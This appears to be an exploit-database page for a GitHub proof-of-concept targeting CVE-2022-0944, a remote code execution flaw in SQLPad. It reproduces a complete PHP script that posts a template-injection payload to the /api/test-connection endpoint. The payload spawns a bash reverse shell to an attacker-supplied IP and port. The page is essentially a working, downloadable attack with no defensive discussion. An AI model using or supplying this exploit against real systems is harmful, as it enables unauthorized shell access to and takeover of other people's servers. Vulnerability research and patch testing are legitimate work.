Exploit database

GH-c9f365e461d15df270270fa762c21844

lipeozyy/sqlpad-rce-exploit-cve-2022-0944

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-0944

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
lipeozyy/sqlpad-rce-exploit-cve-2022-0944Revision 2a7c67f78238

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.php

PHP · 1,443 bytes
<?php

function send_exploit($root_url, $attacker_ip, $attacker_port) {
    $target_url = $root_url . "/api/test-connection";
    
    $payload = "{{ process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/$attacker_ip/$attacker_port 0>&1\"') }}";

    $data = json_encode([
        "name" => "test",
        "driver" => "mysql",
        "data" => [
            "database" => $payload
        ],
        "database" => $payload
    ]);

    $ch = curl_init($target_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'Accept: application/json'
    ]);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

    if ($http_code == 200) {
        echo "Exploit enviado com sucesso. Verifique seu listener em $attacker_ip:$attacker_port\n";
    } else {
        echo "Exploit enviado, mas o servidor respondeu com código: $http_code\n";
    }

    if (curl_errno($ch)) {
        echo "Erro: " . curl_error($ch) . "\n";
    }

    curl_close($ch);
}

if ($argc != 4) {
    echo "Uso: php exploit.php <root_url> <attacker_ip> <attacker_port>\n";
    exit(1);
}

$root_url = $argv[1];
$attacker_ip = $argv[2];
$attacker_port = $argv[3];

send_exploit($root_url, $attacker_ip, $attacker_port);
?>